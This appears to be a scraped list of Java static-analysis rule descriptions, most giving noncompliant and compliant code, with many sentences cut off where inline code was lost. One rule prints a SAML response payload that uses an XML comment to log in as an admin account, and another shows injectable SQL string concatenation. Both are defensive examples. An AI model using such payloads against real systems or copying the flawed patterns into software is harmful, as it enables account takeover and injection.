Hard coding a URI makes it difficult to test a program: path literals are not always portable across operating systems, a given absolute path may not exist on a specific test environment, a specified Internet URL may not be available when executing the tests, production environment filesystems usually differ from the development environment, ...etc. For all those reasons, a URI should never be hard coded. Instead, it should be replaced by customizable parameter. Further even if the elements of a URI are obtained dynamically, portability can still be limited if the path-delimiters are hard-coded. This rule raises an issue when URI's or path delimiters are hard coded. Noncompliant Code Examplepublic class Foo { public Collection<User> listUsers() { File userList = new File("/home/mylogin/Dev/users.txt"); // Non-Compliant Collection<User> users = parse(userList); return users; } } Compliant Solutionpublic class Foo { // Configuration is a class that returns customizable properties: it can be mocked to be injected during tests. private Configuration config; public Foo(Configuration myConfig) { this.config = myConfig; } public Collection<User> listUsers() { // Find here the way to get the correct folder, in this case using the Configuration object String listingFolder = config.getProperty("myApplication.listingFolder"); // and use this parameter instead of the hard coded path File userList = new File(listingFolder, "users.txt"); // Compliant Collection<User> users = parse(userList); return users; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3011 |
This rule raises an issue when reflection is used to change the visibility of a class, method or field, and when it is used to directly update a field value. Altering or bypassing the accessibility of classes, methods, or fields violates the encapsulation principle and could lead to run-time errors. Noncompliant Code Examplepublic void makeItPublic(String methodName) throws NoSuchMethodException { this.getClass().getMethod(methodName).setAccessible(true); // Noncompliant } public void setItAnyway(String fieldName, int value) { this.getClass().getDeclaredField(fieldName).setInt(this, value); // Noncompliant; bypasses controls in setter } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1197 |
Array designators should always be located on the type for better code readability. Otherwise, developers must look both at the type and the variable name to know whether or not a variable is an array. Noncompliant Code Exampleint matrix[][]; // Noncompliant int[] matrix[]; // Noncompliant Compliant Solutionint[][] matrix; // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2164 |
For small numbers, Noncompliant Code Examplefloat a = 16777216.0f; float b = 1.0f; float c = a + b; // Noncompliant; yields 1.6777216E7 not 1.6777217E7 double d = a + b; // Noncompliant; addition is still between 2 floats Compliant Solutionfloat a = 16777216.0f; float b = 1.0f; BigDecimal c = BigDecimal.valueOf(a).add(BigDecimal.valueOf(b)); double d = (double)a + (double)b; ExceptionsThis rule doesn't raise an issue when the mathematical expression is only used to build a string. System.out.println("["+getName()+"] " + "\n\tMax time to retrieve connection:"+(max/1000f/1000f)+" ms."); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3374 |
According to the Common Weakness Enumeration, If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations... In such a case, it is likely that the two forms should be combined. At the very least, one should be removed. Noncompliant Code Example<form-validation> <formset> <form name="BookForm"> ... </form> <form name="BookForm"> ... </form> <!-- Noncompliant --> </formset> </form-validation> Compliant Solution<form-validation> <formset> <form name="BookForm"> ... </form> </formset> </form-validation> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2167 |
It is the sign, rather than the magnitude of the value returned from Noncompliant Code Examplepublic int compareTo(MyClass) { if (condition) { return Integer.MIN_VALUE; // Noncompliant } Compliant Solutionpublic int compareTo(MyClass) { if (condition) { return -1; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3014 |
There is little valid reason to use the methods of the Compliant SolutionThreadFactory threadFactory = Executors.defaultThreadFactory(); ThreadPoolExecutor executorPool = new ThreadPoolExecutor(3, 10, 5, TimeUnit.SECONDS, new ArrayBlockingQueue<Runnable>(2), threadFactory); for (int i = 0; i < 10; i++) { executorPool.execute(new JobThread("Job: " + i)); } System.out.println(executorPool.getActiveCount()); // Compliant executorPool.shutdown(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2166 |
Clear, communicative naming is important in code. It helps maintainers and API users understand the intentions for and uses of a unit of code.
Using "exception" in the name of a class that does not extend Noncompliant Code Examplepublic class FruitException { // Noncompliant; this has nothing to do with Exception private Fruit expected; private String unusualCharacteristics; private boolean appropriateForCommercialExploitation; // ... } public class CarException { // Noncompliant; the extends clause was forgotten? public CarException(String message, Throwable cause) { // ... Compliant Solutionpublic class FruitSport { private Fruit expected; private String unusualCharacteristics; private boolean appropriateForCommercialExploitation; // ... } public class CarException extends Exception { public CarException(String message, Throwable cause) { // ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1199 |
Nested code blocks can be used to create a new scope and restrict the visibility of the variables defined inside it. Using this feature in a method typically indicates that the method has too many responsibilities, and should be refactored into smaller methods. Noncompliant Code Examplepublic void evaluate(int operator) { switch (operator) { /* ... */ case ADD: { // Noncompliant - nested code block '{' ... '}' int a = stack.pop(); int b = stack.pop(); int result = a + b; stack.push(result); break; } /* ... */ } } Compliant Solutionpublic void evaluate(int operator) { switch (operator) { /* ... */ case ADD: // Compliant evaluateAdd(); break; /* ... */ } } private void evaluateAdd() { int a = stack.pop(); int b = stack.pop(); int result = a + b; stack.push(result); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4348 |
There are two classes in the Java standard library that deal with iterations: An This rule raises an issue when the Noncompliant Code Exampleclass FooIterator implements Iterator<Foo>, Iterable<Foo> { private Foo[] seq; private int idx = 0; public boolean hasNext() { return idx < seq.length; } public Foo next() { return seq[idx++]; } public Iterator<Foo> iterator() { return this; // Noncompliant } // ... } Compliant Solutionclass FooSequence implements Iterable<Foo> { private Foo[] seq; public Iterator<Foo> iterator() { return new Iterator<Foo>() { private int idx = 0; public boolean hasNext() { return idx < seq.length; } public Foo next() { return seq[idx++]; } }; } // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5679 |
In 2018, Duo Security found a new vulnerability class that affects SAML-based single sign-on (SSO) systems and this led to the following vulnerabilities being disclosed: CVE-2017-11427, CVE-2017-11428, CVE-2017-11429, CVE-2017-11430, CVE-2018-0489, CVE-2018-7340. From a specially crafted This is due to the fact that SAML protocol rely on XML format and how the underlying XML parser interprets XML comments. If an attacker manage to change the Here is an example of a potential payload: <SAMLResponse> [...] <Subject> <NameID>admin@domain.com<!---->.evil.com</NameID> </Subject> [...] </SAMLResponse> The attacker will manage to generate a valid <SAMLResponse> content with the account "admin@domain.com.evil.com". He will modify it with XML
comments to finally be authenticated as "admin@domain.com". To prevent this vulnerability on application using Spring Security SAML relying on
OpenSAML2, XML comments should be ignored thanks to the property Noncompliant Code Exampleimport org.opensaml.xml.parse.BasicParserPool; import org.opensaml.xml.parse.ParserPool; import org.opensaml.xml.parse.StaticBasicParserPool; public ParserPool parserPool() { StaticBasicParserPool staticBasicParserPool = new StaticBasicParserPool(); staticBasicParserPool.setIgnoreComments(false); // Noncompliant: comments are not ignored during parsing opening the door to exploit the vulnerability return staticBasicParserPool; } public ParserPool parserPool() { BasicParserPool basicParserPool = new BasicParserPool(); basicParserPool.setIgnoreComments(false); // Noncompliant return basicParserPool; } Compliant Solutionpublic ParserPool parserPool() { return new StaticBasicParserPool(); // Compliant: "ignoreComments" is set to "true" in StaticBasicParserPool constructor } public ParserPool parserPool() { return new BasicParserPool(); // Compliant: "ignoreComments" is set to "true" in BasicParserPool constructor } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2047 |
Well-named functions can allow the users of your code to understand at a glance what to expect from the function - even before reading the documentation. Toward that end, methods returning a boolean should have names that start with "is" or "has" rather than with "get". Noncompliant Code Examplepublic boolean getFoo() { // Noncompliant // ... } public boolean getBar(Bar c) { // Noncompliant // ... } public boolean testForBar(Bar c) { // Compliant - The method does not start by 'get'. // ... } Compliant Solutionpublic boolean isFoo() { // ... } public boolean hasBar(Bar c) { // ... } public boolean testForBar(Bar c) { // ... } ExceptionsOverriding methods are excluded. @Override public boolean getFoo(){ // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2168 |
Double-checked locking is the practice of checking a lazy-initialized object's state both before and after a It does not work reliably in a platform-independent manner without additional synchronization for mutable instances of anything other than
There are multiple ways to fix this. The simplest one is to simply not use double checked locking at all, and synchronize the whole method instead.
With early versions of the JVM, synchronizing the whole method was generally advised against for performance reasons. But Noncompliant Code Example@NotThreadSafe public class DoubleCheckedLocking { private static Resource resource; public static Resource getInstance() { if (resource == null) { synchronized (DoubleCheckedLocking.class) { if (resource == null) resource = new Resource(); } } return resource; } static class Resource { } } Compliant Solution@ThreadSafe public class SafeLazyInitialization { private static Resource resource; public static synchronized Resource getInstance() { if (resource == null) resource = new Resource(); return resource; } static class Resource { } } With inner static holder: @ThreadSafe public class ResourceFactory { private static class ResourceHolder { public static Resource resource = new Resource(); // This will be lazily initialised } public static Resource getResource() { return ResourceFactory.ResourceHolder.resource; } static class Resource { } } Using "volatile": class ResourceFactory { private volatile Resource resource; public Resource getResource() { Resource localResource = resource; if (localResource == null) { synchronized (this) { localResource = resource; if (localResource == null) { resource = localResource = new Resource(); } } } return localResource; } static class Resource { } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4349 |
When directly subclassing This rule raises an issue when a direct subclass of Noncompliant Code Examplepublic class MyStream extends OutputStream { // Noncompliant private FileOutputStream fout; public MyStream(File file) throws IOException { fout = new FileOutputStream(file); } @Override public void write(int b) throws IOException { fout.write(b); } @Override public void close() throws IOException { fout.write("\n\n".getBytes()); fout.close(); super.close(); } } Compliant Solutionpublic class MyStream extends OutputStream { private FileOutputStream fout; public MyStream(File file) throws IOException { fout = new FileOutputStream(file); } @Override public void write(int b) throws IOException { fout.write(b); } @Override public void write(byte[] b, int off, int len) throws IOException { fout.write(b, off, len); } @Override public void close() throws IOException { fout.write("\n\n".getBytes()); fout.close(); super.close(); } } ExceptionsThis rule doesn't raise an issue when the class is declared |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4347 |
The This rule raises an issue when
Noncompliant Code ExampleSecureRandom sr = new SecureRandom(); sr.setSeed(123456L); // Noncompliant int v = sr.next(32); sr = new SecureRandom("abcdefghijklmnop".getBytes("us-ascii")); // Noncompliant v = sr.next(32); Compliant SolutionSecureRandom sr = new SecureRandom(); int v = sr.next(32); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S119 |
Shared naming conventions make it possible for a team to collaborate efficiently. Following the established convention of single-letter type parameter names helps users and maintainers of your code quickly see the difference between a type parameter and a poorly named class. This rule check that all type parameter names match a provided regular expression. The following code snippets use the default regular expression. Noncompliant Code Examplepublic class MyClass<TYPE> { // Noncompliant <TYPE> void method(TYPE t) { // Noncompliant } } Compliant Solutionpublic class MyClass<T> { <T> void method(T t) { } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S117 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression. Noncompliant Code ExampleWith the default regular expression public void doSomething(int my_param) { int LOCAL; ... } Compliant Solutionpublic void doSomething(int myParam) { int local; ... } ExceptionsLoop counters are ignored by this rule. for (int i_1 = 0; i_1 < limit; i_1++) { // Compliant // ... } as well as one-character try { //... } catch (Exception e) { // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3281 |
Default interceptors, such as application security interceptors, must be listed in the This rule applies to projects that contain JEE Beans (any one of Noncompliant Code Example// file: ejb-interceptors.xml <assembly-descriptor> <interceptor-binding> <!-- should be declared in ejb-jar.xml --> <ejb-name>*</ejb-name> <interceptor-class>com.myco.ImportantInterceptor</interceptor-class><!-- Noncompliant; will NOT be treated as default --> </interceptor-binding> </assembly-descriptor> Compliant Solution// file: ejb-jar.xml <assembly-descriptor> <interceptor-binding> <ejb-name>*</ejb-name> <interceptor-class>com.myco.ImportantInterceptor</interceptor-class> </interceptor-binding> </assembly-descriptor> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S118 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all
Noncompliant Code ExampleWith the default regular expression: abstract class MyClass { // Noncompliant } class AbstractLikeClass { // Noncompliant } Compliant Solutionabstract class AbstractClass { } class LikeClass { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2070 |
The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160. The following APIs are tracked for use of obsolete crypto algorithms:
Consider using safer alternatives, such as SHA-256, SHA-3 or adaptive one way functions like bcrypt or PBKDF2. Noncompliant Code ExampleMessageDigest md = MessageDigest.getInstance("SHA1"); // Noncompliant Compliant SolutionMessageDigest md = MessageDigest.getInstance("SHA-256"); See
Deprecated |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S115 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all constant names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression public class MyClass { public static final int first = 1; } public enum MyEnum { first; } Compliant Solutionpublic class MyClass { public static final int FIRST = 1; } public enum MyEnum { FIRST; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S116 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that field names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression class MyClass { private int my_field; } Compliant Solutionclass MyClass { private int myField; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3282 |
Exclusions for default interceptors can be declared either in xml or as class annotations. Since annotations are more visible to maintainers, they are preferred. Noncompliant Code Example<assembly-descriptor> <interceptor-binding> <ejb-name>MyExcludedClass</ejb-name> <exclude-default-interceptors>true</exclude-default-interceptors> <!-- Noncompliant --> <exclude-class-interceptors>true</exclude-class-interceptors> <!-- Noncomopliant --> <method> <method-name>doTheThing</method-name> </method> </interceptor-binding> </assembly-descriptor> Compliant Solution@ExcludeDefaultInterceptors public class MyExcludedClass implements MessageListener { @ExcludeClassInterceptors @ExcludeDefaultInterceptors public void doTheThing() { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4011 |
This rule allows banning usage of certain constructors. Noncompliant Code ExampleGiven parameters:
Date birthday; birthday = new Date("Sat Sep 27 05:42:21 EDT 1986"); // Noncompliant birthday = new Date(528176541000L); // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S113 |
Some tools work better when files end with an empty line. This rule simply generates an issue if it is missing. For example, a Git diff looks like this if the empty line is missing at the end of the file: +class Test { +} \ No newline at end of file |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2196 |
Since Java 7, Note that this rule is automatically disabled when the project's Noncompliant Code Exampleif ("red".equals(choice)) { // Noncompliant dispenseRed(); } else if ("blue".equals(choice)) { dispenseBlue(); } else if ("yellow".equals(choice)) { dispenseYellow(); } else { promptUser(); } Compliant Solutionswitch(choice) { case "Red": dispenseRed(); break; case "Blue": dispenseBlue(): break; case "Yellow": dispenseYellow(); break; default: promptUser(); break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S114 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all interface names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression public interface myInterface {...} // Noncompliant Compliant Solutionpublic interface MyInterface {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3042 |
The purpose of synchronization is to ensure that only one thread executes a given block of code at a time. There's no real problem with marking
Noncompliant Code Examplepublic class RubberBall { private Color color; private int diameter; public RubberBall(Color color, int diameter) { // ... } public void bounce(float angle, float velocity) { // ... } private synchronized void writeObject(ObjectOutputStream stream) throws IOException { // Noncompliant // ... } } Compliant Solutionpublic class RubberBall { private Color color; private int diameter; public RubberBall(Color color, int diameter) { // ... } public void bounce(float angle, float velocity) { // ... } private void writeObject(ObjectOutputStream stream) throws IOException { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2077 |
Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities: SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms. This rule raises an issue when an SQL query is built by formatting Strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice. The following method signatures from Java JDBC, JPA, JDO, Hibernate and Spring are tested:
If a method is defined in an interface, implementations are also tested. For example this is the case for
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
You can also reduce the impact of an attack by using a database account with low privileges. Sensitive Code Examplepublic User getUser(Connection con, String user) throws SQLException { Statement stmt1 = null; Statement stmt2 = null; PreparedStatement pstmt; try { stmt1 = con.createStatement(); ResultSet rs1 = stmt1.executeQuery("GETDATE()"); // No issue; hardcoded query stmt2 = con.createStatement(); ResultSet rs2 = stmt2.executeQuery("select FNAME, LNAME, SSN " + "from USERS where UNAME=" + user); // Sensitive pstmt = con.prepareStatement("select FNAME, LNAME, SSN " + "from USERS where UNAME=" + user); // Sensitive ResultSet rs3 = pstmt.executeQuery(); //... } public User getUserHibernate(org.hibernate.Session session, String data) { org.hibernate.Query query = session.createQuery( "FROM students where fname = " + data); // Sensitive // ... } Compliant Solutionpublic User getUser(Connection con, String user) throws SQLException { Statement stmt1 = null; PreparedStatement pstmt = null; String query = "select FNAME, LNAME, SSN " + "from USERS where UNAME=?" try { stmt1 = con.createStatement(); ResultSet rs1 = stmt1.executeQuery("GETDATE()"); pstmt = con.prepareStatement(query); pstmt.setString(1, user); // Good; PreparedStatements escape their inputs. ResultSet rs2 = pstmt.executeQuery(); //... } } public User getUserHibernate(org.hibernate.Session session, String data) { org.hibernate.Query query = session.createQuery("FROM students where fname = ?"); query = query.setParameter(0,data); // Good; Parameter binding escapes all input org.hibernate.Query query2 = session.createQuery("FROM students where fname = " + data); // Sensitive // ... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code Exampleif(someCondition) doSomething(); Compliant Solutionif(someCondition) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2197 |
When the modulus of a negative number is calculated, the result will either be negative or zero. Thus, comparing the modulus of a variable for equality with a positive number (or a negative one) could result in unexpected results. Noncompliant Code Examplepublic boolean isOdd(int x) { return x % 2 == 1; // Noncompliant; if x is an odd negative, x % 2 == -1 } Compliant Solutionpublic boolean isOdd(int x) { return x % 2 != 0; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4499 |
This rule raises an issue when: - a JavaMail's - a Apache Common Emails's Noncompliant Code ExampleEmail email = new SimpleEmail(); email.setSmtpPort(465); email.setAuthenticator(new DefaultAuthenticator(username, password)); email.setSSLOnConnect(true); // Noncompliant; setSSLCheckServerIdentity(true) should also be called before sending the email email.send(); Properties props = new Properties(); props.put("mail.smtp.host", "smtp.gmail.com"); props.put("mail.smtp.socketFactory.port", "465"); props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); // Noncompliant; Session is created without having "mail.smtp.ssl.checkserveridentity" set to true props.put("mail.smtp.auth", "true"); props.put("mail.smtp.port", "465"); Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() { protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("username@gmail.com", "password"); } }); Compliant SolutionEmail email = new SimpleEmail(); email.setSmtpPort(465); email.setAuthenticator(new DefaultAuthenticator(username, password)); email.setSSLOnConnect(true); email.setSSLCheckServerIdentity(true); // Compliant email.send(); Properties props = new Properties(); props.put("mail.smtp.host", "smtp.gmail.com"); props.put("mail.smtp.socketFactory.port", "465"); props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); props.put("mail.smtp.auth", "true"); props.put("mail.smtp.port", "465"); props.put("mail.smtp.ssl.checkserveridentity", true); // Compliant Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() { protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("username@gmail.com", "password"); } }); See
DeprecatedThis rule is deprecated; use S5527 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S120 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all package names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression package org.exAmple; // Noncompliant Compliant Solutionpackage org.example; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3047 |
When a method loops multiple over the same set of data, whether it's a list or a set of numbers, it is highly likely that the method could be made more efficient by combining the loops into a single set of iterations. Noncompliant Code Examplepublic void doSomethingToAList(List<String> strings) { for (String str : strings) { doStep1(str); } for (String str : strings) { // Noncompliant doStep2(str); } } Compliant Solutionpublic void doSomethingToAList(List<String> strings) { for (String str : strings) { doStep1(str); doStep2(str); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S121 |
While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance. Noncompliant Code Exampleif (condition) // Noncompliant executeSomething(); Compliant Solutionif (condition) { executeSomething(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5344 |
Storing users' passwords in clear-text in a database is definitely not safe as hackers may have read access to all user accounts stored in the database. It's common then to hash passwords and only store these hashes in the database. When running the authentication process, the hash of the password provided by the user is compared to the hash stored in the database. If both matches, the access is granted. This looks like a perfect solution but some algorithms such as MD5 and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160. For this reason, when
Consider using safer alternatives, such as Noncompliant Code Example@Autowired public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception { auth.jdbcAuthentication() .dataSource(dataSource) .usersByUsernameQuery("SELECT * FROM users WHERE username = ?") .passwordEncoder(new StandardPasswordEncoder()); // Noncompliant // OR auth.jdbcAuthentication() .dataSource(dataSource) .usersByUsernameQuery("SELECT * FROM users WHERE username = ?"); // Noncompliant; default uses plain-text // OR auth.userDetailsService(...); // Noncompliant; default uses plain-text // OR auth.userDetailsService(...).passwordEncoder(new StandardPasswordEncoder()); // Noncompliant } Compliant Solution@Autowired public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception { auth.jdbcAuthentication() .dataSource(dataSource) .usersByUsernameQuery("Select * from users where username=?") .passwordEncoder(new BCryptPasswordEncoder()); // or auth.userDetailsService(null).passwordEncoder(new BCryptPasswordEncoder()); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3046 |
When two locks are held simultaneously, a Noncompliant Code Examplesynchronized (this.mon1) { // threadB can't enter this block to request this.mon2 lock & release threadA synchronized (this.mon2) { this.mon2.wait(); // Noncompliant; threadA is stuck here holding lock on this.mon1 } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Examplefor (int i = 0; i < 42; i++){} // Empty on purpose or missing piece of code ? ExceptionsWhen a block contains a comment, this block is not considered to be empty unless it is a |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S109 |
A magic number is a number that comes out of nowhere, and is directly used in a statement. Magic numbers are often used, for instance to limit the number of iterations of a loop, to test the value of a property, etc. Using magic numbers may seem obvious and straightforward when you're writing a piece of code, but they are much less obvious and straightforward at debugging time. That is why magic numbers must be demystified by first being assigned to clearly named variables before being used. -1, 0 and 1 are not considered magic numbers. Noncompliant Code Examplepublic static void doSomething() { for(int i = 0; i < 4; i++){ // Noncompliant, 4 is a magic number ... } } Compliant Solutionpublic static final int NUMBER_OF_CYCLES = 4; public static void doSomething() { for(int i = 0; i < NUMBER_OF_CYCLES ; i++){ ... } } ExceptionsThis rule ignores |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2060 |
An Noncompliant Code Examplepublic class Tomato implements Externalizable { // Noncompliant; no no-arg constructor public Tomato (String color, int weight) { ... } } Compliant Solutionpublic class Tomato implements Externalizable { public Tomato() { ... } public Tomato (String color, int weight) { ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S106 |
When logging a message there are several important requirements which must be fulfilled:
If a program directly writes to the standard outputs, there is absolutely no way to comply with those requirements. That's why defining and using a dedicated logger is highly recommended. Noncompliant Code ExampleSystem.out.println("My Message"); // Noncompliant Compliant Solutionlogger.log("My Message"); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. Noncompliant Code ExampleWith a maximum number of 4 parameters: public void doSomething(int param1, int param2, int param3, String param4, long param5) { ... } Compliant Solutionpublic void doSomething(int param1, int param2, int param3, String param4) { ... } ExceptionsMethods annotated with Spring's |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2062 |
The Noncompliant Code Examplepublic class Fruit implements Serializable { private static final long serialVersionUID = 1; private Object readResolve() throws ObjectStreamException // Noncompliant {...} //... } public class Raspberry extends Fruit implements Serializable { // No access to parent's readResolve() method //... } Compliant Solutionpublic class Fruit implements Serializable { private static final long serialVersionUID = 1; protected Object readResolve() throws ObjectStreamException {...} //... } public class Raspberry extends Fruit implements Serializable { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2183 |
